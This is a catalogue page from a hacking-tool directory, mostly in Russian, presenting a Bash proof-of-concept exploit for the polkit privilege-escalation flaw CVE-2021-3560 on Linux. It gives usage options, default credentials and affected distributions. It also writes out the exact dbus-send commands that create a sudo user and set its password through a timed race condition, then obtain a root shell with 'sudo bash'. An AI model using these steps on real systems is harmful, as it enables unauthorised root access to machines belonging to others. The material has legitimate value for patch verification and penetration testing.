Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — Автоматизированный Bash PoC для повышения привилегий через polkit (CVE-2021-3560). Эксплуатирует состояние гонки по времени в dbus для создания пользователя sudo и получения оболочки root на уязвимых дистрибутивах Linux. | Kitploit
Инструменты/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

Автоматизированный Bash PoC для повышения привилегий через polkit (CVE-2021-3560). Эксплуатирует состояние гонки по времени в dbus для создания пользователя sudo и получения оболочки root на уязвимых дистрибутивах Linux.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
24 месяцев назадЕщё не проверено

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Оригинальное исследование Кевина Бэкхауса

Это просто Bash-скрипт PoC, который автоматизирует шаги эксплуатации, описанные в блоге Кевина Бэкхауса. Прочитайте его статью об этой уязвимости: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Использование

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Что следует отметить:

  • Этот эксплойт работает только на дистрибутивах, где установлены accountsservice и gnome-control-center, и должна быть установлена версия polkit 0.113 (или новее) ИЛИ 0-105-26 (форк Debian для polkit).
  • Этот эксплойт был протестирован на Ubuntu 20.04 с версией polkit 0-105-26 (форк Debian) и на Centos 8 с версией polkit 0.115. Если вы уверены, что ваша цель уязвима, но функция проверки эксплойта не срабатывает, используйте флаг -f=y, чтобы пропустить все проверки и принудительно запустить эксплойт.
  • Дистрибутивы, такие как RHEL 8, Fedora 21, Debian testing ("bullseye") и Ubuntu 20.04, признаны уязвимыми.
  • Список совместимых дистрибутивов можно найти в блоге Кевина.

Как работает эксплойт?

Подробное объяснение и PoC для ручной эксплуатации приведены в блоге исследователя.

Краткое содержание этого эксплойта приведено ниже:

  • Эта атака требует точного тайминга, и мы должны войти через SSH (или сеанс командной строки, где открытие графических приложений невозможно).
  • Злоумышленник может использовать эту уязвимость, отправив dbus-сообщение для вызова polkit, но резко оборвав запрос, пока polkit обрабатывает его. Затем злоумышленник может отправить второй запрос с уникальным идентификатором шины предыдущего запроса, чтобы выполнить запрос от UID 0, то есть root.
  • Эта уязвимость существует в polkit, потому что он обрабатывает UID соединения с идентификатором шины, который больше не существует, как запрос от UID 0. Это означает, что если мы правильно рассчитаем время атаки и завершим наш первый запрос в нужный момент, то сможем выполнить второй запрос с привилегиями UID 0, то есть root.
  • Время для завершения соединения вычисляется как время, необходимое для отправки dbus-сообщения, делённое на 2. Подробно объяснено здесь.

Что на самом деле делает этот скрипт?

Как я уже говорил, это просто bash-скрипт, который автоматизирует PoC Кевина Бэкхауса. Основные команды те же; я просто автоматизировал некоторые начальные шаги (например, правильный расчет времени, сканирование на уязвимость, вставку пользовательских учетных данных, красивый вывод цветов и т.д.).

Если этот скрипт запущен без параметров, то его поведение по умолчанию следующее:

  • Проверить тип дистрибутива. [Используя файл /etc/os-release.]
  • Проверить установку accountservice и gnome-control-center. [В rhel/centos/fedora использует rpm -qa, а в дистрибутивах debian/ubuntu использует dpkg -l.]
  • Если установки найдены, скрипт проверяет версию polkit. [ 0.113 (или новее) для rhel.centos,fedora и 0-105-26 для Debian/Ubuntu]
  • Если версия polkit признана уязвимой, скрипт начинает эксплуатацию.
  • Сначала скрипт определяет время, необходимое для отправки запроса с помощью dbus-send, выполняя команду: bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Скачать инструмент
  • Этот скрипт добавляет нового пользователя в группу sudo. Если эксплойт сработал, мы можем войти в учётную запись с помощью su - <username>, используя пароль, переданный скрипту, а затем выполнить sudo bash, чтобы получить root-оболочку!
  • Поскольку эта атака зависит от точного тайминга, ОБЫЧНО ТРЕБУЕТСЯ НЕСКОЛЬКО ПОПЫТОК, чтобы эксплойт сработал.
  • ПРЕДУПРЕЖДЕНИЕ: НЕ ЗАПУСКАЙТЕ ЭТОТ СКРИПТ В ГРАФИЧЕСКОМ СЕАНСЕ ВХОДА!
  • Если этот скрипт запущен в среде графического входа, цикл будет постоянно вызывать окно аутентификации polkit. Поэтому запускайте этот эксплойт только в оболочке SSH/NC.
  • Если это произошло, нажмите клавишу Esc, чтобы закрыть запрос аутентификации, и Ctrl+C, чтобы быстро завершить скрипт.
  • Затем время для завершения запроса ($t) вычисляется делением времени, необходимого для запроса, на 2. ($t=time-required-to-request/2) [Вычисляется с помощью awk]
  • После вычисления времени ($t) запрос на вставку $username secnigma в целевую систему повторяется 20 раз. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Если вставка пользователя прошла успешно (проверяется с помощью id secnigma), генерируется хеш пароля с помощью команды: bash openssl passwd -5 `echo -n $password` . ($password=secnigmaftw)
  • Затем команда вставки хеша пароля выполняется 20 раз. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!